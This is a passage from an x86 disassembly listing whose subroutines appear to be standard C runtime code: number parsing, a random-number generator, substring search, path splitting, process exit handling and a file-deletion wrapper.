		mov	[edi], edx
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3B:				; CODE XREF: sub_41BC60+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41BD3F:				; CODE XREF: sub_41BC60+C5j
					; sub_41BC60+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41BD51


loc_41BD47:				; CODE XREF: sub_41BC60+79j
		xor	eax, eax


loc_41BD49:				; CODE XREF: sub_41BC60+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41BD49


loc_41BD51:				; CODE XREF: sub_41BC60+E5j
		and	ebx, 3
		jnz	short loc_41BCDB


loc_41BD56:				; CODE XREF: sub_41BC60+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BC60	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD5E	proc near		; CODE XREF: sub_41BDE9+4p
					; sub_424EBC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41BD66:				; CODE XREF: sub_41BD5E+34j
		cmp	dword_43F824, 1
		jle	short loc_41BD7E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_41BD8D
; ---------------------------------------------------------------------------


loc_41BD7E:				; CODE XREF: sub_41BD5E+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43F618
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BD8D:				; CODE XREF: sub_41BD5E+1Ej
		test	eax, eax
		jz	short loc_41BD94
		inc	edi
		jmp	short loc_41BD66
; ---------------------------------------------------------------------------


loc_41BD94:				; CODE XREF: sub_41BD5E+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41BDA4
		cmp	esi, 2Bh
		jnz	short loc_41BDA8


loc_41BDA4:				; CODE XREF: sub_41BD5E+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41BDA8:				; CODE XREF: sub_41BD5E+44j
		xor	ebx, ebx


loc_41BDAA:				; CODE XREF: sub_41BD5E+7Bj
		cmp	dword_43F824, 1
		jle	short loc_41BDBF
		push	4
		push	esi
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_41BDCA
; ---------------------------------------------------------------------------


loc_41BDBF:				; CODE XREF: sub_41BD5E+53j
		mov	eax, off_43F618
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BDCA:				; CODE XREF: sub_41BD5E+5Fj
		test	eax, eax
		jz	short loc_41BDDB
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41BDAA
; ---------------------------------------------------------------------------


loc_41BDDB:				; CODE XREF: sub_41BD5E+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41BDE4
		neg	eax


loc_41BDE4:				; CODE XREF: sub_41BD5E+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BD5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDE9	proc near		; CODE XREF: sub_40121E+2F4p
					; sub_401AA1+6EFp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BD5E
		pop	ecx
		retn
sub_41BDE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDF4	proc near		; CODE XREF: sub_41DFD3+93p
		mov	eax, off_43D5BC
		test	eax, eax
		jz	short loc_41BDFF
		call	eax ; sub_41CDB4


loc_41BDFF:				; CODE XREF: sub_41BDF4+7j
		push	offset dword_42A02C
		push	offset dword_42A018
		call	sub_41BEDC
		push	offset dword_42A014
		push	offset dword_42A000
		call	sub_41BEDC
		add	esp, 10h
		retn
sub_41BDF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE21	proc near		; CODE XREF: sub_41DFD3+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_41BE43
		add	esp, 0Ch
		retn
sub_41BE21	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE32	proc near		; CODE XREF: .XPack0:0041E0C4p
					; sub_41E0C9+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41BE43
		add	esp, 0Ch
		retn
sub_41BE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE43	proc near		; CODE XREF: sub_41BE21+8p
					; sub_41BE32+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DE60C, edi
		jnz	short loc_41BE60
		push	[esp+4+arg_0]
		call	dword_428108	; GetCurrentProcess
		push	eax
		call	dword_428100	; TerminateProcess


loc_41BE60:				; CODE XREF: sub_41BE43+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DE608, edi
		mov	byte_4DE604, bl
		jnz	short loc_41BEB4
		mov	eax, dword_4DFC7C
		test	eax, eax
		jz	short loc_41BEA3
		mov	ecx, dword_4DFC78
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41BEA2


loc_41BE8F:				; CODE XREF: sub_41BE43+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BE97
		call	eax


loc_41BE97:				; CODE XREF: sub_41BE43+50j
		sub	esi, 4
		cmp	esi, dword_4DFC7C
		jnb	short loc_41BE8F


loc_41BEA2:				; CODE XREF: sub_41BE43+4Aj
		pop	esi


loc_41BEA3:				; CODE XREF: sub_41BE43+3Cj
		push	offset dword_42A038
		push	offset dword_42A030
		call	sub_41BEDC
		pop	ecx
		pop	ecx


loc_41BEB4:				; CODE XREF: sub_41BE43+33j
		push	offset dword_42A044
		push	offset dword_42A03C
		call	sub_41BEDC
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41BEDA
		push	[esp+4+arg_0]
		mov	dword_4DE60C, edi
		call	dword_42806C	; ExitProcess


loc_41BEDA:				; CODE XREF: sub_41BE43+85j
		pop	edi
		retn
sub_41BE43	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEDC	proc near		; CODE XREF: sub_41BDF4+15p
					; sub_41BDF4+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41BEE1:				; CODE XREF: sub_41BEDC+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41BEF4
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BEEF
		call	eax


loc_41BEEF:				; CODE XREF: sub_41BEDC+Fj
		add	esi, 4
		jmp	short loc_41BEE1
; ---------------------------------------------------------------------------


loc_41BEF4:				; CODE XREF: sub_41BEDC+9j
		pop	esi
		retn
sub_41BEDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEF6	proc near		; CODE XREF: sub_40121E+18Cp
					; sub_40121E+283p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FD3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41BF36
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41BF43
; ---------------------------------------------------------------------------


loc_41BF36:				; CODE XREF: sub_41BEF6+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FC2A
		pop	ecx
		pop	ecx


loc_41BF43:				; CODE XREF: sub_41BEF6+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41BEF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF48	proc near		; CODE XREF: sub_40121E+45p
					; sub_401AA1+3171p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43D5A0, eax
		retn
sub_41BF48	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF52	proc near		; CODE XREF: sub_40121E:loc_401373p
					; sub_40121E:loc_40168Fp ...
		mov	eax, dword_43D5A0
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43D5A0, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41BF52	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40121E+12Ap
					; sub_401AA1+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41BFEA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41BFD7


loc_41BF88:				; CODE XREF: sub_41BF70+52j
					; sub_41BF70+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41BFAA
		test	al, al
		jz	short loc_41BFA4


loc_41BF99:				; CODE XREF: sub_41BF70+32j
		mov	al, [esi]
		inc	esi


loc_41BF9C:				; CODE XREF: sub_41BF70+3Fj
		cmp	al, dl
		jz	short loc_41BFAA
		test	al, al
		jnz	short loc_41BF99


loc_41BFA4:				; CODE XREF: sub_41BF70+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41BFAA:				; CODE XREF: sub_41BF70+23j
					; sub_41BF70+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41BF9C
		lea	edi, [esi-1]


loc_41BFB4:				; CODE XREF: sub_41BF70+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41BFE3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41BF88
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41BFE3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41BFB4
		jmp	short loc_41BF88
; ---------------------------------------------------------------------------


loc_41BFD7:				; CODE XREF: sub_41BF70+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C626
; ---------------------------------------------------------------------------


loc_41BFE3:				; CODE XREF: sub_41BF70+49j
					; sub_41BF70+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFEA:				; CODE XREF: sub_41BF70+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41BF70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFF0	proc near		; CODE XREF: sub_40121E+117p
					; sub_401AA1+1BCFp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FD3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C02F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C03C
; ---------------------------------------------------------------------------


loc_41C02F:				; CODE XREF: sub_41BFF0+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FC2A
		pop	ecx
		pop	ecx


loc_41C03C:				; CODE XREF: sub_41BFF0+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41BFF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C041	proc near		; CODE XREF: sub_40121E+F7p
					; sub_401AA1+2124p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B650
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C07C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C07C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C078
		push	2
		push	ebx
		push	esi
		call	sub_420929
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C078:				; CODE XREF: sub_41C041+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C086
; ---------------------------------------------------------------------------


loc_41C07C:				; CODE XREF: sub_41C041+18j
					; sub_41C041+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C086
		and	byte ptr [eax],	0


loc_41C086:				; CODE XREF: sub_41C041+39j
					; sub_41C041+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C0FE


loc_41C099:				; CODE XREF: sub_41C041+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DFB41[edx], 4
		jz	short loc_41C0AA
		inc	eax
		jmp	short loc_41C0C4
; ---------------------------------------------------------------------------


loc_41C0AA:				; CODE XREF: sub_41C041+64j
		cmp	cl, 2Fh
		jz	short loc_41C0BE
		cmp	cl, 5Ch
		jz	short loc_41C0BE
		cmp	cl, 2Eh
		jnz	short loc_41C0C4
		mov	[ebp+var_4], eax
		jmp	short loc_41C0C4
; ---------------------------------------------------------------------------


loc_41C0BE:				; CODE XREF: sub_41C041+6Cj
					; sub_41C041+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C0C4:				; CODE XREF: sub_41C041+67j
					; sub_41C041+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C099
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C0FE
		cmp	[ebp+arg_8], 0
		jz	short loc_41C0F9
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C0E2
		mov	edi, esi


loc_41C0E2:				; CODE XREF: sub_41C041+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420929
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C0F9:				; CODE XREF: sub_41C041+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C108
; ---------------------------------------------------------------------------


loc_41C0FE:				; CODE XREF: sub_41C041+56j
					; sub_41C041+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C108
		and	byte ptr [ecx],	0


loc_41C108:				; CODE XREF: sub_41C041+BBj
					; sub_41C041+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C15B
		cmp	edi, ebx
		jb	short loc_41C15B
		cmp	[ebp+arg_C], 0
		jz	short loc_41C138
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C121
		mov	edi, esi


loc_41C121:				; CODE XREF: sub_41C041+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420929
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C138:				; CODE XREF: sub_41C041+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C183
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C148
		mov	esi, eax


loc_41C148:				; CODE XREF: sub_41C041+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420929
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C183
; ---------------------------------------------------------------------------


loc_41C15B:				; CODE XREF: sub_41C041+CCj
					; sub_41C041+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C179
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C16A
		mov	esi, eax


loc_41C16A:				; CODE XREF: sub_41C041+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420929
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C179:				; CODE XREF: sub_41C041+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C183
		and	byte ptr [eax],	0


loc_41C183:				; CODE XREF: sub_41C041+FCj
					; sub_41C041+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C041	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C190	proc near		; CODE XREF: sub_401925+8p
					; sub_401AA1+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C1B0


loc_41C19C:				; CODE XREF: sub_41C190+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C19C


loc_41C1B0:				; CODE XREF: sub_41C190+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1BF	proc near		; CODE XREF: sub_401AA1+7341p
					; sub_401AA1+736Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C1D3
		xor	eax, eax
		jmp	short loc_41C209
; ---------------------------------------------------------------------------


loc_41C1D3:				; CODE XREF: sub_41C1BF+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C203
		mov	esi, [ebp+arg_8]


loc_41C1DC:				; CODE XREF: sub_41C1BF+42j
		dec	dword ptr [esi+4]
		js	short loc_41C1EB
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C1F2
; ---------------------------------------------------------------------------


loc_41C1EB:				; CODE XREF: sub_41C1BF+20j
		push	esi
		call	sub_41F6E3
		pop	ecx


loc_41C1F2:				; CODE XREF: sub_41C1BF+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C20D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C203
		dec	[ebp+arg_4]
		jnz	short loc_41C1DC


loc_41C203:				; CODE XREF: sub_41C1BF+18j
					; sub_41C1BF+3Dj ...
		and	byte ptr [edi],	0


loc_41C206:				; CODE XREF: sub_41C1BF+55j
		mov	eax, ebx
		pop	esi


loc_41C209:				; CODE XREF: sub_41C1BF+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C20D:				; CODE XREF: sub_41C1BF+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C203
		xor	ebx, ebx
		jmp	short loc_41C206
sub_41C1BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C216	proc near		; CODE XREF: sub_41E32A+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C22D
		add	esp, 10h
		retn
sub_41C216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C22D	proc near		; CODE XREF: sub_41C216+Ep
					; sub_41C435+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C245:				; CODE XREF: sub_41C22D+46j
		cmp	dword_43F824, 1
		jle	short loc_41C25D
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C26C
; ---------------------------------------------------------------------------


loc_41C25D:				; CODE XREF: sub_41C22D+1Fj
		mov	ecx, off_43F618
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C26C:				; CODE XREF: sub_41C22D+2Ej
		test	eax, eax
		jz	short loc_41C275
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C245
; ---------------------------------------------------------------------------


loc_41C275:				; CODE XREF: sub_41C22D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C283
		or	[ebp+arg_C], 2
		jmp	short loc_41C288
; ---------------------------------------------------------------------------


loc_41C283:				; CODE XREF: sub_41C22D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C28E


loc_41C288:				; CODE XREF: sub_41C22D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C28E:				; CODE XREF: sub_41C22D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C425
		cmp	eax, 1
		jz	loc_41C425
		cmp	eax, 24h
		jg	loc_41C425
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C2D6
		cmp	bl, 30h
		jz	short loc_41C2C0
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C2F2
; ---------------------------------------------------------------------------


loc_41C2C0:				; CODE XREF: sub_41C22D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C2D3
		cmp	al, 58h
		jz	short loc_41C2D3
		mov	[ebp+arg_8], 8
		jmp	short loc_41C2F2
; ---------------------------------------------------------------------------


loc_41C2D3:				; CODE XREF: sub_41C22D+97j
					; sub_41C22D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C2D6:				; CODE XREF: sub_41C22D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C2F2
		cmp	bl, 30h
		jnz	short loc_41C2F2
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C2EA
		cmp	al, 58h
		jnz	short loc_41C2F2


loc_41C2EA:				; CODE XREF: sub_41C22D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C2F2:				; CODE XREF: sub_41C22D+91j
					; sub_41C22D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C302:				; CODE XREF: sub_41C22D+16Cj
		cmp	dword_43F824, 1
		movzx	esi, bl
		jle	short loc_41C31A
		push	4
		push	esi
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C325
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C22D+DFj
		mov	eax, off_43F618
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C325:				; CODE XREF: sub_41C22D+EBj
		test	eax, eax
		jz	short loc_41C331
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C363
; ---------------------------------------------------------------------------


loc_41C331:				; CODE XREF: sub_41C22D+FAj
		cmp	dword_43F824, 1
		jle	short loc_41C345
		push	edi
		push	esi
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C350
; ---------------------------------------------------------------------------


loc_41C345:				; CODE XREF: sub_41C22D+10Bj
		mov	eax, off_43F618
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C350:				; CODE XREF: sub_41C22D+116j
		test	eax, eax
		jz	short loc_41C39E
		movsx	eax, bl
		push	eax
		call	sub_4209B3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C363:				; CODE XREF: sub_41C22D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C39E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C388
		jnz	short loc_41C382
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C388


loc_41C382:				; CODE XREF: sub_41C22D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C391
; ---------------------------------------------------------------------------


loc_41C388:				; CODE XREF: sub_41C22D+145j
					; sub_41C22D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C391:				; CODE XREF: sub_41C22D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C302
; ---------------------------------------------------------------------------


loc_41C39E:				; CODE XREF: sub_41C22D+125j
					; sub_41C22D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C3BC
		test	edx, edx
		jz	short loc_41C3B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C3B6:				; CODE XREF: sub_41C22D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C409
; ---------------------------------------------------------------------------


loc_41C3BC:				; CODE XREF: sub_41C22D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C3E2
		test	cl, 1
		jnz	short loc_41C409
		and	ecx, 2
		jz	short loc_41C3D9
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C3E2


loc_41C3D9:				; CODE XREF: sub_41C22D+1A1j
		test	ecx, ecx
		jnz	short loc_41C409
		cmp	[ebp+var_8], eax
		jbe	short loc_41C409


loc_41C3E2:				; CODE XREF: sub_41C22D+197j
					; sub_41C22D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DE5C4, 22h
		jz	short loc_41C3F8
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C409
; ---------------------------------------------------------------------------


loc_41C3F8:				; CODE XREF: sub_41C22D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C409:				; CODE XREF: sub_41C22D+18Dj
					; sub_41C22D+19Cj ...
		test	edx, edx
		jz	short loc_41C412
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C412:				; CODE XREF: sub_41C22D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C420
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C420:				; CODE XREF: sub_41C22D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C430
; ---------------------------------------------------------------------------


loc_41C425:				; CODE XREF: sub_41C22D+66j
					; sub_41C22D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C42E
		mov	[eax], edi


loc_41C42E:				; CODE XREF: sub_41C22D+1FDj
		xor	eax, eax


loc_41C430:				; CODE XREF: sub_41C22D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C22D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C435	proc near		; CODE XREF: sub_401AA1+60B4p
					; sub_401AA1+68E0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C22D
		add	esp, 10h
		retn
sub_41C435	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C44C	proc near		; CODE XREF: sub_401AA1+5871p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_428088	; DeleteFileA
		test	eax, eax
		jnz	short loc_41C462
		call	dword_428094	; RtlGetLastWin32Error
		jmp	short loc_41C464
; ---------------------------------------------------------------------------


loc_41C462:				; CODE XREF: sub_41C44C+Cj
		xor	eax, eax


loc_41C464:				; CODE XREF: sub_41C44C+14j
		test	eax, eax
		jz	short loc_41C473
		push	eax
		call	sub_420A7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C473:				; CODE XREF: sub_41C44C+1Aj
		xor	eax, eax
		retn
sub_41C44C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C476	proc near		; CODE XREF: sub_401AA1+57DFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
